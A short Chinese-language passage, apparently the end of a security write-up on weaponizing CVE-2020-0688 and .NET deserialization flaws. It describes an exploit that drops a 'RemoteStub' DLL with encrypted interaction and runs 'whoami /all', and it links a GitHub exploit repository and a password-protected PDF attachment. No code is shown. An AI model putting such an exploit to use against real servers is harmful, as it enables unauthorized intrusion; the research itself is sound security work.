在本地测试环境执行的结果如图所示:
RemoteStub为此Exp发送的dll,所有的交互都已进行加密,其执行whoami /all产生的数据如图所示:
Github: http://github/zcgonvh/CVE-2020-0688
附件: CVE-2020-0688的武器化与.net反序列化漏洞那些事.pdf
解压密码见注释。